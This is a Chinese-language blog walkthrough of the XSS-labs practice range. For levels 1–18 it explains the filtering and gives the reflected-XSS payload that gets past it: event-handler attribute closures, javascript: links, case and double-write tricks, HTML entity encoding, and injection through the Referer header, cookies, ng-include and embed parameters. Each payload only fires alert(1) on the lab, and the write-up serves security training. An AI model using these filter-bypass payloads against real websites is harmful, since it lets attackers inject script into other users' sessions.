XSS-labs靶场通关

目录

第一关:

payload: 

第二关:

payload:  

第三关: 

payload:   

第四关: 

payload:

第五关:

payload:

第六关

payload:  

 第七关

payload:  

第八关

payload:

第九关

payload:(如果用HackBar插件GET传参,不要忘了url编码一下)

第十关

payload:

第十一关

payload:

第十二关

payload:

第十三关

payload:

第十四关

第十五关

payload:

第十六关

payload:

第十七关

payload:

第十八关

第十九关(逆向学会再补充)

第二十关(逆向学会再补充)



第一关:

payload: 

<script>alert(1)</script>

第二关:

先输入<script>alert(1)</script>,然后查看一下源代码

没有任何过滤,输出在input标签里,可以构造双引号的闭合,同时利用DOM事件

payload:  

"onclick='alert(1)'>

第三关: 

先尝试一手<script>alert(1)</script>

发现<>被转义了,这时候我们就构造input标签内的闭合

payload:   

' onclick='alert(1)'>

第四关: 

输入<script>alert(1)</script>发现<>被过滤了,如图

然后尝试一下闭合,成功

payload:

" onclick='alert(1)'>

第五关:

还是先测试<script>alert(1)</script>,然后查看源代码

发现有<>的转义,还在script中间加了下划线_,接着尝试闭合,同样存在闭合和转义,所以利用a标签的href来闭合

payload:

"><a href=javascript:alert(1)>

第六关

href,onclick,<script>都被加上下划线了 ,尝试大小写绕过

payload:  

"><a Href=javascript:alert(1)>

 第七关

script被过滤

on被过滤,双写on成功

payload:  

" oonnclick='alert(1)'>

第八关

发现可以跳转链接,可以利用伪协议

 

发现script被加下划线了,双写大小写绕过都没有用,尝试html编码绕过,成功:

payload:

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

第九关

利用第八关的html编码绕过没用了

查看一下源码是怎么限制的

源代码要求链接必须含有http://,那就把http://注释掉:/*http://*/

payload:(如果用HackBar插件GET传参,不要忘了url编码一下)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

第十关

通过代码审计,发现还可以传一个t_sort的参数,可以输出到前端,但是过滤了 "<" 和 ">"

那就构造闭合" οnclick=javascript:alert(1)>,但是这个表单元素属性是hidden的,所以加个type="text"

payload:

keyword=1&t_sort=" onclick='alert(1)' type="text">

第十一关

代码审计发现keywordt_sort都被转义了,可以利用的是t_ref,不过t_ref接收的值是请求头中的referer(referer表示当前请求资源所在页面的完整路径)

那就对referer动手脚

payload:

" onclick='alert(1)' type="text">

第十二关

同十一关,还是请求头参数存在注入点

payload:

" onclick='alert(1)' type="text">

第十三关

这次是在cookie中的user中注入

payload:

user=" onclick='alert(1)' type="text">

第十四关

里面的链接失效了,这关跳过,不过提一句,这关涉及到了exif漏洞,原理是有些网站有读取图片exif信息的功能,当网站读取到的恶意的exif信息就会触发属性中的payloadexif是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。

第十五关

代码审计,发现了 ng-include  

ng-include 作用:引入外部html文件

包含level1.php:

那么我们给level1.php传参,使被包含的level1.php弹窗,也就是level15弹窗,成功:

payload:

src="./level1.php?name=<a href=javascript:alert(1)>"

第十六关

script , 空格,双空格, 被过滤了,用%0a绕过空格过滤

payload:

keyword=<input%0atype='text'%0aonclick='alert(1)'>

第十七关

代码审计一下:

首先说一下embed标签,可以理解为定义了一个区域,可以把html文档、图片、视频、音频等内容内嵌到当前页面,这关浏览器不支持flash插件,所以图片显示不出来,如果感觉别扭,就在后端把xsf01.swf 改成 index.png, 不改也没关系

$GET["arg01"] 接收一个参数,然后拼接一个等号,再拼接 $GET["arg02"] ,所以这个标签大概是这样的: <embed src=xsf01.swf?$GET["arg01"]=$GET["arg02"] width=100% height=100%>,我们给$GET["arg01"]传一个 a ,给$GET["arg02"] "b  οnclick=alert(1)" (注意,没有双引号,我是为了强调加空格才加了双引号,因为是拼接,所以空格也会拼接进去,这样表示$GET["arg01"]传参结束),之后这个 embed 标签呈现的效果就是:

<embed src=xsf01.swf?a=b  οnclick=alert(1) width=100% height=100%>

成功!

payload:

?arg01=a&arg02=aaa onmousemove='alert(1)'

第十八关

同十七关

第十九关(逆向学会再补充)

第二十关(逆向学会再补充)

十九关和二十关涉及到逆向,暂时先不写了~

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值